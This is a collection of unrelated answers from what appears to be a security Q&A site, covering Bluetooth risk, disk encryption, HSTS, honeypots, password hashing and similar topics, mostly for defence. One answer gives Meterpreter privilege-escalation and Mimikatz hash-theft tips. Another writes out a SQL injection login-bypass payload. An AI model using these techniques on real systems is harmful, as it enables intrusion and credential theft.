Security wise, is it safe to use bluetooth headphones?

When asking a question of the form "How vulnerable does (thing X) make me?", you first need to consider what kinds of attacks you're at risk of being victimized by.

Possible Attacks

When using Bluetooth headphones, I can think of the following attacks you might be concerned about:

Traffic snooping (someone reading the data which is going over the connection, or just noticing that a connection exists at all - perhaps revealing that you're listening to something at that time)
Traffic modification (someone altering the data which is going over the connection)
Service disruption (preventing your headphones from working, probably by flooding the airwaves with random or spammy data)
Infiltration (using your PC or iPad's bluetooth capabilities to gain unauthorized access to the PC or iPad)

Let's consider each attack in turn:

This question here on security.stackexchange indicates that Bluetooth is encrypted by default. Many devices exist for capturing Bluetooth traffic as it passes over the airwaves, but the encryption means understanding your traffic won't be as simple as just setting up a Bluetooth sniffer and reading the traffic directly. On the other hand, I don't think there is a guarantee of a minimum key strength on the encryption -- the encryption isn't guaranteed to be strong. You'll need to read the specifications of your devices to find out how trustworthy the encryption is.

To listen to your Bluetooth traffic, an attacker would have to either break or bypass the encryption on the traffic which is likely only going to be feasible for an attacker of medium sophistication or better.

An attacker could merely note the presence of the Bluetooth connection. This attacker wouldn't know what is going over the connection, only that the connection exists. In context, this means the attacker would know your Bluetooth headphones are connected and are communicating with the connected PC or iPad. I suppose this might be usable to try to triangulate your position or determine if you're physically vulnerable (because you're distracted by your killer jams).
As stated above, your Bluetooth connection will likely be encrypted. This means an attacker seeking to modify the traffic must somehow subvert the encryption.

This is possible, but is even more difficult than the first attack type. I can only think of general techniques for doing this, not specific techniques Bluetooth is definitely vulnerable to right now.

The attacker might be running attack software on one of your Bluetooth devices so she can modify data as it arrives/departs, she might intercept your traffic then mirror it back out with modifications included, she might act as a relay between your two Bluetooth devices, etc.

All of these depend on the attacker's ability to rapidly decrypt / re-encrypt the traffic. Casual attackers probably won't have this capability.
Jamming Bluetooth isn't as easy as jamming, say, WiFi. It's possible, but it's illegal and requires specialized equipment / software which a casual attacker is unlikely to possess.
Yes, it is possible to use a Bluetooth connection to gain unauthorized access to a device but this is unlikely to happen to you.

Such a connection could, in theory, do anything any other data connection could do. Most concerning among these are: exfiltrating sensitive data, running unauthorized code, or causing the device to malfunction. Look up Bluesnarfing and Bluejacking for some details and examples.

However, and critically, there are many reasons to believe that this is not likely to happen to you. Modern Bluetooth devices generally require some kind of pairing sequence before they begin communicating with each other. This makes it difficult for someone with a Bluetooth device to connect to your device(s) without permission.

To bypass the pairing procedure, an attacker would have to find some kind of vulnerability in the stack of hardware and software which runs your Bluetooth connections. Really, an attacker would probably need to chain together multiple vulnerabilities to work her way from the Bluetooth connection itself into userspace or kernelspace on the target machine. This is very difficult!

A sophisticated attacker may be able to find and chain together such vulnerabilities, but most wannabe attackers either won't be able to find and exploit such vulnerabilities or will only be able to exploit well known vulnerabilities which a modern and well maintained device (like an iPad) will be secured against (always install Apple's latest security updates!)

Without such a vulnerability available, attackers can still contact your device and hope you give them access yourself. Defending against this is dead simple: Don't pair your devices with other unknown devices!

Assessing Your Personal Risk

It is up to you to decide which attacks you're most concerned with, nobody can decide for you how much risk you're taking. Try to consider the likelihood of the attack along with the severity of harm should the attack succeed.

For example, if you're a college student and the attack is a prankster roommate playing music you don't like, then the likelihood may be medium or high but the severity is low. Overall, the risk is probably not a big deal.

On the other hand, if you're a Chinese dissident living in Europe the likelihood of attack may be low or medium but the severity could be extreme (putting your contacts in China at risk of imprisonment or worse). Overall, the risk is strongly concerning.

Mitigating the Risks

You have choices for risk mitigation. You can painstakingly review the Bluetooth implementations in the devices you want to use so you know how new devices connect, how strongly the connection is encrypted, etc. Compare that against your personal risk profile and decide how much risk you're willing to bear in exchange for using the technology. Then you can choose to use the devices or not.

Critically, note that Bluetooth is generally considered to be "short range". These attacks require that the attacker (or the attacker's equipment) be physically close to your Bluetooth connection. This must factor into your mitigation decisions. If you will only use the Bluetooth devices in the country, far from other people, your risk is significantly lowered. If you will use the devices walking along crowded streets every day, your risks are increased.

My Recommendation For Most Users

Realistically, typical users have very little to worry about from using Bluetooth headphones. Unless you know you're some kind of special target (again consider the Chinese Dissident example), you probably can use the headphones without fear. At most you might consider turning off your PC's and iPad's Bluetooth connections when they're not in active use.

I've written this whole answer while listening to music with Bluetooth headphones. I use them nearly every day, in public and private (incl. well trafficked spaces like airports), and have never had a security problem because of them.


Gmail account hacked - what was it used for?

Anyone including himself could be connecting through a service such as TOR. Through such a service you can switch exit nodes at will giving you a new IP and country that IP is coming from. Considering that forget about what countries the connections come from. They mean nothing. It's more important to establish what has fully happened. Remember that having gmail access also means Drive access and such. Have you looked into all the services that could have been compromised through google? It could be a much larger picture then just gmail being compromised. One could lets say change a file you store on Drive with a compromised one, it gets synced to your computer, and you run it.


Is it really safe to use Signal or Telegram on untrusted phone hardware?

The short answer is that if the hardware is compromised, then anything you can read, it can read.


How do I verify that my FDE/SED Opal SSD is indeed encrypted

You cannot independently verify the encryption function of OPAL drives because:

the encryption and password-derivation happens transparently: you either have a password-protected
disk which doesn't allow read requests or you can R/W freely after unlocking with the right password. Everything happens inside the disk. Even the BIOS/SATA controller hasn't got access to the encrypted datastream, password hashes, master keys etc. etc.

the firmware which handles password storage, key derivation and cipher setup is top secret

the manufacturers do not publish technical details or whitepapers on their implementations for reasons unknown

Software full-disk encryption (VeraCrypt, BitLocker) is fast, proven and trusted and the only mitigation for the truly paranoid.


Any hints for programming my own password manager?

Don't. You show a lack of understanding of the topic.

  I don't really trust them since I can't know what their code is doing to my passwords (like maybe it's storing them on a central server?... NO!)

Read the source. For instance Keepass is Open Source. You can verify how it works, and if it transmits anything.

  I'm not aiming for Bank-level security, but it I will try to make it as secure as possible, but it should at least be an obvious upgrade for people that store passwords in unencrypted text files (aim low and avoid disappointment).

False sense of security may be worse than no security. If I know it's a clear text file, I will treat it as such. If I believe it to be securely encrypted - but it's in fact not - I may end up compromising it.

  I'm using a "language" for mobile programming called Automate "unfortunately" that means that the program will be open source, so I think it's impossible to make it completely secure because anyone can see & modify their local version of the code (but they need both the code & someone else's save-file to compromise the security, and realistically then it's already game over for any security program).

You should read about Kerchoffs principle. In short, the only secret of your scheme should be the encryption key. Assume that any attacker knows exactly how the encryption works.

No matter what language you use, it's possible to figure out how the app works. With Java it's trivial, with C somewhat harder.

  Using Automate means that I don't have access to fancy libraries & stuff, but has to rely on very basic stuff like variables, lists, dictionaries, loops, if-statements & some built-in functions (here is a list of all available functions).

If you first do this, build it on established crypto libraries. The chances of breaking what looks like solid encryption trough some silly mistake is huge, and history is littered with broken crypto.

Also remember Schneier's law:

  Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break.


What should be OpenSSL .cnf file equivalent of certreq .inf for S/MIME?

This is what I figured so far, I'll update if I make any changes to that:

[ usr_cert ]
basicConstraints = CA:FALSE
authorityKeyIdentifier = keyid
subjectKeyIdentifier = hash
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = critical, emailProtection
subjectAltName = email:copy
authorityKeyIdentifier = keyid
subjectKeyIdentifier = hash

[ req ]
default_bits           = 2048
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
C                      = EX
ST                     = STATE
L                      = LOCATION
O                      = ORGANIZATION
CN                     = NAME
emailAddress           = EMAIL


Is there ever a good reason _not_ to use TLS/SSL?

The main issue with HTTPS everywhere is that it basically makes caching web proxies useless (unless you have trust the proxy and have it impersonate sites for you, but that doesn't work with certificate stapling and is possibly illegal in some jurisdiction). For some use cases, like for example the distribution of signed software update, HTTP makes perfect sense. If you have e.g. a hundred workstations behind a corporate proxy, them downloading update with HTTP will mean for all but one it will be delivered off the proxy cache. That will be a lot more efficient that each of them doing it over HTTPS...

In short, HTTP makes sense as a transport layer if another mechanic is there to verify the authenticity and integrity of the content, and if confidentiality is of little importance...

For web browsing by actual human beings, I find it very hard to justify not using HTTPS in this day and age.


mmc.exe can be run with limited user permissions; this just prevents it from doing most of the things you might want it to do. For example, with non-admin permissions, you can edit your personal certificate store, but you will have read-only access to the system (machine) certificate store. Some snap-ins will be completely useless with limited permissions (for example, diskmgmt.msc, the Disk Management snap-in, requires connecting to the Virtual Disk Service and I don't believe you can do that without elevated privileges; try running the command-line equivalent diskpart.exe and if you don't elevate it'll return Access is denied).

Basically, it depends what the snap-in does. If it supports both user-specific and system-wide settings, there's a decent chance you'll be able to use it (for the current user only) without elevated privileges. If it makes changes to some data store directly (for example, by editing the registry or file system using the relevant APIs) or indirectly (for example, certificates are typically stored in the registry, even though you usually access them through crypto APIs that call the required registry APIs behind the scenes), then you can do whatever the ACLs on that data store permit your current user to do (for example, read-only access to system-wide certificates). On the other hand, if it makes some kind of inter-process communication, then you won't be able to use the snap-in at all if the IPC channel requires more privileges than you have. Similarly, if it requires an NT privilege (for example SeImpersonatePrivilege, which lets you tell the OS to pretend you're a different user), then of course you can't use it if you don't have that privilege.


Source: RFC 6797.

The HSTS header is only valid when it is set over HTTPS.

  An HSTS Host MUST NOT include the STS header field in HTTP responses
  conveyed over non-secure transport.

This is because agents only respond to the HSTS header when a resource is served over TLS/SSL:

  If an HTTP response , received over a secure transport, includes an    STS header field...
   [snip]
  Note the host as a Known HSTS Host

The plain HTTP response should return an HTTP 301 permanent redirect to the HTTPS resource. The HTTPS resource then contacted should set the HSTS header. You may as well set all HTTPS resources to return the header and to renew the expiry (max-age).


Google Chrome browser uses preloaded HSTS list. Firefox 17 (most recent release) also added support for the list. It is the same list that Google Chrome uses. HSTS, along with having HTTPS only website are best mitigations against such an attack. Your HTTP website should only permanently redirect to HTTPS and not provide any content.


Undelete-secure AES software and software for carrying out "full undeletion" free-partition-space zeroing/reformatting on Windows?

The solution to the problem could be downloading and installing the latest version of Piriform CCleaner. Once an AES-encrypted version of the folder to be encrypted is created with something such as 7-Zip, the following points must be taken into consideration:

Any program which may have been used to open the file could have created on-disk cache files containing pieces of information from the folder that was encrypted prior to its encryption, including transformed data obtained from such a file, and any of these files may also have been deleted by such programs, and, since such deletions would have been regular filesystem deletions and not full filesystem deletions, pieces of data from the original folder could be still lying hidden somewhere on the hard drive.
For each such program that was used to open data from the folder from which the encrypted folder was created, if CCleaner displays knowledge of such app in Cleaner -> Applications, then check such application to delete its cache files (be sure to leave checked defaults checked in Ccleaner -> Windows -> System). Also check Options -> Settings -> Secure Deletion to make sure such files are fully deleted. Also, if some program used to open the folder's contents is not listed, and you know where its cache files are kept, you can delete those as well by adding the folder that contains them with Options -> Include -> Add.
If some program not listed in CCleaner was used to open a file, and you cannot find where it keeps its cache files, just uninstall it, reinstall it, and then wipe your drive's free space (slow), which will also wipe any partially deleted cache files from the uninstall.
With the Settings -> Secure Deletion option enabled, delete the unencrypted version of the encrypted folder, so as to completely get rid of it, but...
In any case, since, as pointed out, you never know what a program used to open the contents of a folder deletes and what it doesn't delete, including its own cache files,
so deleted bits of information may still remain on disk. Also, as pointed out in my original question, if a file is moved from one partition to another, the information it contains will be copied, and the information could be recovered from the other partition if not securely deleted. The same can happen on the same partition under some cirumstances (e.g. programs such as defrag may copy bits of files around unsecurely, leaving partially or fully recoverable traces of files elsewhere). So, the only way to be sure everything is really gone, thus making the information in the encrypted folder truly hacker-proof (unless, of course, you happen to give away your secure password), is to run Cleaner -> Windows -> Options -> Wipe Free Space. That should do it.

Hopefully whenever you open the encrypted file you will have to make sure its contents are stored in memory, where they will be completely gone once the computer is turned off, and not on disk, (and also make sure that the computer is not attached to a network for extra security, and hope that no keyloggers have been installed on your computer to sniff your password as you type it), or you may have to rerun this process all over again.

NOTE: I am not an expert on the subject, so please let me know if I have left something out.


Dual - control (two man access) to AWS root logins?

Although i have not heard of such a system, i may have an alternative solution for you.

Use 2FA, have the account password with PersonA, and the push notification going to PersonB to authorize the login.

Eg. You could use DUO 2FA, PersonA will input the password to the AWS bucket, and DUO will send a push notification to PersonB, if the login should proceed or not.

This is almost as both admins having part of the password, only that 1 part is a password, and the second is a push notification for further authentication.

I can say from almost an year of using this model in a non-critical environment, it has worked well. But would not have it as our ultimate solution.

Cheers


Why secure encrypted data consistency by strong hashing?

The decision to use SHA1 for message authentication is part of the formal transport design specification (RFC 4253). Furthermore, SHA2 is now recommended as an update to the protocol (RFC6668).

According to this reference the use not only ensures data integrity but also prevents replay attacks.  SSH was originally more like what you are suggesting using just CRC checks. The feature you are questioning was added to specifically address weakness in that simpler design.


I'm assuming you're using a domain name as a target in your application, e.g. google.com instead of 173.194.34.69. The DNS query is being done without the proxy.

The implementation of HttpWebRequest calls Dns.GetHostEntry, which uses the Winsock API (WSA) to perform a DNS query, outside of the proxy you specified. Unfortunately, this leaks the IP of the server you're trying to connect to. Once it has the IP address, it opens up a TCP connection to your SOCKS proxy, and tunnels through to the target.

The Tor Browser gets round this by getting the proxy to perform the DNS queries, by simply specifying a hostname instead of an IP address when sending the connect command. This is a supported feature of SOCKS4a. There's more info on it at the Tor FAQ. You'll need to write your own proxy client implementation in C# to utilise this, since the .NET framework doesn't currently provide a way to do it.

A workaround would be to replace the URL with an IP address. You'll still get the same warning, since Privoxy is just warning you that you're connecting to an IP address it hasn't seen a DNS query for, but you won't actually be doing the DNS query at all.


I've performed a few experiments on Linux and various GPUs and drivers. I took a basic OpenGL tutorial for texture mapping and replaced the pointer to the texture data in the call to glTexImage2D with a null pointer.

With the nouveau driver on an Nvidia GPU, the results were pretty interesting:

The text on the cube seems to contain the previous contents of my terminal window, which is composited on the GPU by Compiz.

The Intel GMA driver showed only a black cube; it was the same on Android (tested with an Adreno and an Nvidia Tegra 3 GPU).

Of course that doesn't prove that either of those drivers/systems are safe; the OpenGL implementations might just as well initialize the memory only in the userspace component of the driver instead of in the kernel.


I think data uris like the one you mentioned have the benefit of increased website performance/ load time because it eliminates the network connection latency of downloading another page or frame.

In many legit cases there is no additional url. It's literally a page embedded within a page.

What I've seen with credential phishing though is attackers use data uris like this and then the "url" comes into play as the post action in the html form. So the password is collected in a text box in the data uri but posted to the attackers url.


Can a honeypot really deflect damage back to the attacker?

Borrowing from the other answers & comments coz I agree with them:

Deflect = Not-the-same-as reflect back to the attacker.

The common practice that comes to mind in this context is this:

Your assets can be protected using deflection to a honeypot.

  ...the armor is between the targets body and the bullet and the bullet
  has to go through the armor.

I can't think of many situations where a honeypot sits in between the attacker and the assets under protection. That is usually the role of a firewall (network firewall or a web application firewall of some sort).

Honeypots in practice - how they protect by distracting.

It can be a low interaction honeypot (the most common case because it is easier to setup and maintain) that is placed in such a manner that deflects the attention of the attacker by appearing to be easy to hack and sets up protection for main assets.
e.g., To protect x.yourasset.com, you could setup x-be.yourasset.com and x-private.yourasset.com as honeypots where no legit customer should normally connect to. When someone connects to them, you use some form of scripted automation that bans them from reaching *.yourasset.com. Here the ban-trigger is simply connecting to the honeypot. No deep interaction is needed.

An intermediate interaction honeypot (again fairly common) would allow an attacker to connect and give them an infinite-looped path e.g, allow SSH connect with a non-existent account and password; then present a fictional file system with never ending directories to traverse. This wastes attacker time and may or may not directly help your asset-security unless you also use this with some form of banning.

In both the above cases, the honeypot is not "placed in front of" the asset.

Another possibility is to use high interaction honeypots (uncommon). This takes some effort to setup and manage. Here, you let the user interact with your main asset, but if you see anything unusual at all, switch the session to the honeypot.
e.g. Your web-form could have legitimate sounding hidden fields (e.g., spl-discount, secret-auth) that normal flow would never populate. On your server you first check those fields and if they're populated you send a redirect to a honeypot. You could also do this using something like the OWASP AppSensor project.

that looks like a normal successful submission - "thank you... processing..."
that takes several seconds for each screen update and wastes more time - "thank you for your patience..."
that could keep asking for more info - "we only need some more information before we complete processing" "we sent you an additional security code to your email address ... please enter it to verify your account for additional security" (of course you may not have sent any code at all)
and finally blows it off with something like "we're sorry, please try again later".

This may or may not be combined with banning but it helps in many ways, including data collection about the attacker and their TTPs (Tools, Techniques and Procedures) - that will come handy in other defensive measures.


Being loosely typed with a crazy == operator, JavaScript is vulnerable to type juggling. But it is not  as vulnerable as PHP.
Here are a few things that are equal in PHP, but not in JavaScript:

'0e111' == '0e222' Even though both are strings, PHP will treat them as numbers. JavaScript needs one of the operands to be a number before it tries to coerse anything into a number.
'0eaaa' == 0 PHP will interpret anything beginning with a number as a number, while JavaScript will not. Note that even PHP needs the other operand to be a number in this case.

However, this will be equal in both PHP and Javascript:

'0e111' == 0 One operand is a string containing only digits after the 0e (very unlikely that will happend at random), and the other must be an actual number (not just a string looking like a number).

This makes it harder to find type juggling vulnerabilities with hashes in JavaScript. That doesn't mean they don't exist, though. Use ===.


Can't force HTTPS when connecting to proxy server, even though port 443 is open

I'm guessing you're using an anonymous proxy and this isn't something you or your company are in control of. If so, you really are at the mercy of the configuration of that server. Your nmap output is also not something I would take to heart, a system with 1,024 ports open is unrealistic.

All 1024 scanned ports on 0.0.0.0 are open|filtered

I'm pretty sure you're traffic is being filtered somewhere along the line which is breaking nmap. Also, a Xmas scan isn't something I would suggest using unless you have specific use for it, stick to something like a TCP scan (-sS) or even a connect() scan (-sT). It very well may be that your scan is lighting up some appliance along the way and it's dropping packets thinking the traffic is bogus.

An HTTP 400 is a bad request. This could be something incorrect in your transmission, like an invalid header, or it could be that the server doesn't speak in HTTPS and you're trying to talk to an HTTP only server using HTTPS. You would likely need to look at the Proxy access logs for more information on the 400. You might have something locally if you can enable debug logging, maybe even a packet trace.


Does limiting size of images prevents buffer overflow?

Python is a high-level language; it does not expose memory management to the programmer. Thus, you can't make errors when programming that lead to buffer overflows (unless any of your code is written in e.g. C/C++).
However, the cPython interpreter itself could contain buffer overflows since it is written in C, but this doesn't happen terribly often and your best defense would be to keep Python up to date in this case.


Are social media websites a security risk? If yes, how do we go about making them safer for users?

As you said, the main threats on Facebook are the ads and malicious links/files users can share between each other. In terms of Ads, you can use an ad-blocker such as uBlock Origin or AdBlock, which as the name suggest will remove any side-bar ads.

In terms of not clicking malicious/suspicious links, well, that's down to the user, as long as they are well informed then there's not too much else you can do - it's assumed they don't open spam e-mails and click those links, so perhaps explain to your users that they should treat suspicious Facebook links in the same manner.

As already mentioned, the real, and perhaps most dangerous threat is one that you cannot prevent or guard your users against, which is social engineering. It helps to keep your private life private but unfortunately not everyone considers that, which makes Facebook a real goldmine for anyone with time on their hands and a malicious intent.


You’ll need to elevate your privileges on the target through another exploit. You won’t simply get NT AUTHORITY/SYSTEM just because you’ve got a meterpreter session. Try using your shell to send a MSFVenom .exe that will give you UAC Bypass and another Meterpreter. Use that new Meterpreter exploiting the UAC Bypass to getsystemand you’ll get the NT AUTHORITY every time.

You’ll also want to take advantage of Mimikatz while you have a session open. Make sure you grab any hashes you can to crack offline to further future persistence.


Ftp constantly asked for a .exe file, what can i do?

That's the kind of behavior a botnet displays. What you can assume from the re-appearance of deleted files is that your server has been 'back-doored'.

Changing passwords will not help. A total wipe and rebuild of the server is in order. Because you are 'renting' the service, you will need to shut it down and get a new IP and a new environment on the server.


Is it possible to have different machines for the same domain, with different certs?

Can one domain have multiple servers controlled by different entities

Yes, but there will need to be some coordination for getting the SSL certificates

How can the coordination work (depends on the ACME challenge used)

HTTP

Working together

Whenever one of the 2 hosts wants to renew a cert they would need to deploy a .well_known file to both servers, so that no matter which one letsencrypt access they get the right file.
Centralised

You can run an additional server, which both parties can push files to, and have both servers redirect any requests for .well_known to this server

DNS

Full access

Either of the 2 hosts would need to be able to add DNS records to pass the checks
Custom API

An API can be setup so that the 2 hosts can submit an ACME response and have it served

Limiting impact of breaches

As the servers need to be able to generate SSL certificates if they are breached they will be able to generate certs.

Using Must-Staple the impact of current certs leaking can be reduced, but this will not help if the host is instructed to make new certs without this after generation.

Using CT logs you can watch for invalid certs, and using CAA you can limit which CAs will issue certs, which will help reduce the breach impact.

You could even use CAA to disable certs entirely, and only allow issuance by contacting you and manually removing the record until the cert has been issued, reducing your attack window, but increasing the management overhead.


SSL/TLS Client certificate's key with or without pass phrase?

The passphrase is used to protect and encrypt the private key. You will create the private key either encrypted or not. If you encrypt the private key, it must be decrypted before use in any transaction with that passphrase.  Doing this provides an additional layer of protection over that key.

A quick read of this document will be helpful: OpenSSL Essentials


Would secure storing of past used/generated passwords be a good idea?

Let's do mathematics. I like mathematics.

You generate passwords in a space of size n = 6232 (32 characters chosen randomly, uniformly and independently of each other, in an alphabet of size 62, i.e. all uppercase letters, lowercase letters, and digits). Suppose that you have generated k such passwords; k is easily estimated since you will produce about 2000 potential passwords per week (100 "true passwords" but each of them is chosen among 20 fresh random passwords).

It is easily seen that k will remain much smaller than the square root of n (indeed, k will be in the vicinity of the square root of n only after about 457 thousands of billions of billions of years). We can then approximate the probability that you ever obtain a collision (i.e. the same candidate password shows up twice) to be about k2/2n. Assuming that you keep your system going for a hundred years (which is already preposterous), i.e. about 5218 weeks, this yields the probability of close to 2.4·10-44.

Now compare that with the probability of your security advisor being mauled by a gorilla escaped from a zoo; that probability is at least 10-18 per day (I have made this comparison before, and then again because I love this example; and the actual probability is higher than that, but let's be conservative). Therefore, on average, before hitting a collision, your security advisor will be visited by at least 4.7·1025 murderous gorillas, i.e. 47 millions of billions of billions of gorillas (since that far exceeds the number of living gorillas, one has to assume that some of them will come several times). If the advisor still worries about the collision and not the gorillas, then you have demonstrated that this advisor is no smarter than a baboon.

To sum up, it is easy to ensure that no password is reused: the Universe already makes it so. By doing nothing special you are already ensuring this absence of collision, with a success rate which is billions (of billions) of times better than your success at protecting your security advisor (and his children) from gorilla attacks (and you are probably already doing a good job at that, too).

Now let's suppose that your security advisor is unmoved by mathematics, because he believes in pretty pictures more than in pretty figures (in that respect, he would be no different from the average chimpanzee, so at least there is some kind of ironic consistency here). Setting up a system to filter out "duplicates" would be a waste of money, and, crucially, a way which can be easily demonstrated (e.g. to the boss of that "security advisor") to be a waste of money (be sure to make him aware of that fact); however, he may still insist on it, because he suggested it first and reneging on his own past word would endanger his perceived alpha-male status (again, chimpanzees come to mind). This unfortunately happens a lot with humans. Then your job, after having duly warned your hierarchy of the complete inanity of it (leave written traces ! They will protect you when somebody with more than three brain cells does an audit), is to make sure that, at least, this duplicate-detection system does not weaken the system. The duplicate detection is wasteful; let it not be harmful.

The space of possible passwords is very large, a bit more than 2190. All passwords are equiprobable, so you have about 190 bits of entropy, which is huge. For such passwords you DON'T NEED good password hashing because all of the features of password hashing functions (salts, iterations...) are ways to cope with the inherent weakness of "normal" passwords, i.e. the fact that they have low entropy, and thus can be brute forced (this is called a dictionary attack). However, your passwords have way too much entropy for brute force to be even remotely applicable to them (even if you somehow hire the gorillas to try passwords, you will run out of gorillas much before you run out of possible passwords). Therefore, simple hashing would work: store the hash values in a database, which will allow you to do a fast "already used" check.

However, there are systems out there who "use passwords" by actually hashing them and using the hash value as "the passwords". Windows in particular: when it uses a password, it actually works over the MD4 hash value (128 bits) computed over the password. Therefore, if you store hashed passwords and happen to use the same hash function as some other password-consuming system, then you are actually storing "cleartext" passwords, and that's bad.

To avoid this problem, use "your own" hash function, which in practice means HMAC. The hashing process would look like this (in C#/.NET):

using System.Security.Cryptography;
using System.Text;

// ...
static byte[] hmacKey = Encoding.UTF8.GetBytes("my security advisor is a chimpanzee");

static byte[] HashPassword(string password)
{
    HMAC h = HMAC.Create();
    h.Key = hmacKey;
    return h.ComputeHash(Encoding.UTF8.GetBytes(password));
}

It is quite improbable that any other system out there uses the same password hashing function (i.e. HMAC with the same key), so storing these "hash" values in a database would be safe, and allow duplicate detection.

Now the killer argument: why, oh why, would you want to detect duplicates ? A system which detect duplicates is also, inherently, a system which can tell what passwords are (or have been) in use. Such a system can only harm security: it helps attacker know whether a given password is "worth trying" on a system. Fortunately, the sheer size of the space of possible passwords in your case voids that harm. However, in all generality, insisting on detecting duplicates is also insisting on weakening the protection offered by the passwords. This is bad, bordering on malicious.

It would be relatively easy to suggest, with some careful wording, that the security advisor is trying to plant a backdoor (of course, not a very good backdoor, because he is not good at it, but intent is what matters in criminal cases). For instance, consider the following setup: you design a system which helps users generate 4-digit PIN codes for their bank smart card. The smart card will block itself after three wrong PIN codes, so an attacker who steals the card has only probability 1/3333 to guess it. However, if there is a system which generates random PIN codes and avoids duplicates then the attacker could hijack that system (e.g. dump its database with some SQL injection attack) and then let it generate 9999 PIN codes, which will all, by construction, be different from the PIN code that the smart card user obtained. This reveals the user's PIN: it is the only one, among the 10000 possible PIN codes, that the anti-duplicate system will not generate.

That's the core of it: when preventing duplicates for passwords has any detectable effect (not your case here, because duplicates won't happen in your lifetime or even in the Sun's lifetime, for that matter), then that effect is negative. This is a BAD IDEA. It smells of foul play.


Does domain privacy make a domain less secure?

Domain privacy will only hide your identity as a domain owner, in case someone do whois to your domain, they will see a domain privacy provider identity, rather than your real identity. You can use a fake identity instead, but it will give you some troubles when ICANN need to verify your identity.

Technically it may save you from some social engineering activities such as someone calling your phone number or send you an email (based on your domain identity) and trying to ask you something which considered important. Some people also can use your domain identity to make a scam website, mostly money games website.

Domain privacy may give you some extra security against your identity, but it will damage your reputation either, especially if you run a business website, people will think that it's a scam website because of those hidden identity.


Someone searching "0x6461726b33636f6465" - what kind of exploit is this?

It's an SQL injection and the "dark1code" is just a column value that the attacker intends to include into the result set. if the result of the SQL query is reflected in the response html page somewhere then the attacker can see that his injection is being reflected.


Antivirus nowadays give the option to autoscan possible infected attachments in emails however I have never use one and not sure if the web interface works with such kind of scanning.
Using thunderbird for example or analog desktop app for windows would allow you to have the antivirus to scan it.

I would personally not do this however... instead, download the pdf manually, abstain yourself from opening it, upload it to virustotal.com wait for the report to show up (a minute max), afterwards upload the pdf to one of the many online providers which allow you to read pdf files online.

This way, you will be more secure than using the pdf into your adobe acrobat reader of similar app.

For more security use sandboxing when opening the pdf (for example Comodo Antivirus offers free sandboxing with their firewall), this way any attempt at infecting your machine will be twarted (and you can use this sandboxing in your browser so the real browser will mostly be left intact even when entering into websites embedded with malware)

Edited: And finally the last and better solution to this common problem! Download oracle box, download a linux image of debian, ubuntu or any other easy to use linux distribution, open the iso into oracle box and read the pdf through it. This way your real machine will never ever get infected (I recommend the usage of virtual machines as a daily way to browse the internet but that is me personally).

Having said so, gmail itself does have security and normally infected attachments would be picked by gmail itself unless they are access zero, encripted good by malware creator etc. However, pdfs are one of the most used ways to infect machines. Unless you know the sender of the pdf it would be safer to maintain a skeptic attitude and use precautions when watching it.


How can I carry out SQL insert injection when there's a select statement beforehand

You don't need to enter into the else branch. What do you think will happen for someone whose name is
doesntexist' UNION SELECT 1, 'Charlie','a744e1091c25babd36b50e40fb8d311a','1"

?


Do the Secret Chats of Telegram really support Perfect Forward Secrecy?

Well, one of the biggest misconceptions and I can also see why it is one, would be the very name itself Perfect Forward Secrecy (PFS). One of the key distinguishing features of PFS is to limit the extent of the damage & breach, and not to achieve perfectness and 0% data loss/leaks.

You are right if Telegram Secret sessions are limited to 100++ messages hence if a particular session would be compromised so would the 100++ messages.

Telegram Secret chats have a Self-Destruct function set to the read messages as well, this is also to limit the impact on breaches. When the recipient reads the message from the sender, within X amount of time the message will self destruct. An attacker would be able to access the session but might be looking at an empty session.


Is it possible to send a message and 100% obfuscate the origin of the sender in a p2p networked message board?

You can use something like that:

User connects to server, authenticates the server, and negotiate a set of keys
If the user have something to post, he encrypts the message with the key, padding it to fit an arbitrary fixed buffer, and larger messages are broken into pieces and sent later
If the user don't have anything to post, client generates cryptographically secure random garbage for the same buffer size
From time to time (10 sec, 1 min, 30 min) client will send the message
Server decrypts the data with its private key, determines if it's a complete message, part of a large message, or garbage, and reacts according to the message type

In this case, as long as you protect the server, nobody can know if the user is reading messages or posting messages, as the client keeps sending the same kind of data periodically: same interval, same size, same entropy.

Data traffic analysis will fail, as the client will send the same data size with the same interval no matter if the user is posting or not. Posting messages longer than the buffer will take more time, but it will be worth if the main use of the system is anonymity.


In cracking a password, does it help to have other easy passwords in the same file?

Since I have access to the system, and I can change the password,
  would it be helpful to john if I changed the password multiple times
  (copying the hash each time)?

No, that won't help, except insofar as the more weak password you try, the more likely John is to get one quickly.

  Picking passwords like, 'password', 'pass123', etc, might help john
  find the salt (?) and make it easier to know which salt to use for
  this one?

John knows the salt; it's encoded into the hashed password string.  See the description of Traditional Unix DES password hashes; basically the password you enter is truncated down to 56 bits, a 12 bit hash is generated, and the hash is used to "perturb the algorithm" as those 56 bits are used to generate a password hash.  Then the hashed password and the 12 bits of hash are concatenated and the resulting string is base64'd, resulting in the string 9so4MTVQCT0io you see above.

  Or am I misunderstanding the idea of salting passwords? (I get that
  ideally from a security standpoint, each password would be salted
  differently, but I'm not sure if this is. Is there a way to know?)

The idea of a salt is that if your password is "Alpha123", and my password is "Alpha123", the fact that the system generates a different salt for each user each time they enter a new password means that these same passwords will result in different password hashes.

In Unix password hashes, the salt is always stored alongside the password.  The traditional DES algorithm mashes the bits in before base64-encoding the hashed password, so it's not obvious.  Newer password hashes are formatted to store the algorithm used, the salt, and the hashed password all in separate parts of a string segregated by the $ character:

$6$S9WFQfN9$q/4hhcE3zCfQhY/5I1KLpuw4nc8mD.suhGV.QTvcT.qfauOGBFTeOJMyRn0XjjMYIYsdEYmvULUbNua0/oFdS/

In this case, '6' means the password is hashed with SHA-512 and S9WFQfN9 is the salt.


How exploiting RCE in jpg file actually works?

What you are missing is the actual execution of the uploaded file. A file would be harmless unless executed as a PHP script. And your web-server will treat a file according to its extension. So a regular web-server wouldn't execute jpg files as php scripts.

There are two caveats, however.

In some circumstances, Apache web server would treat a file named image.php.jpg indeed as a PHP file. So it could be a good idea to rename uploaded files to some meaningless names (this idea is good by itself anyway).
of course, there is not only a direct execution - an uploaded image could be included into a PHP script as well. But this would be a vulnerability by itself, one don't need a file upload facility to exploit it, so your site shouldn't allow including arbitrary files of user's choice anyway.


Reseting my computer to uninstall LogKext

Theoretically speaking, you cannot trust the integrity of your system anymore. Your friend might have installed a different key logger, or even installed some sort of rootkit.

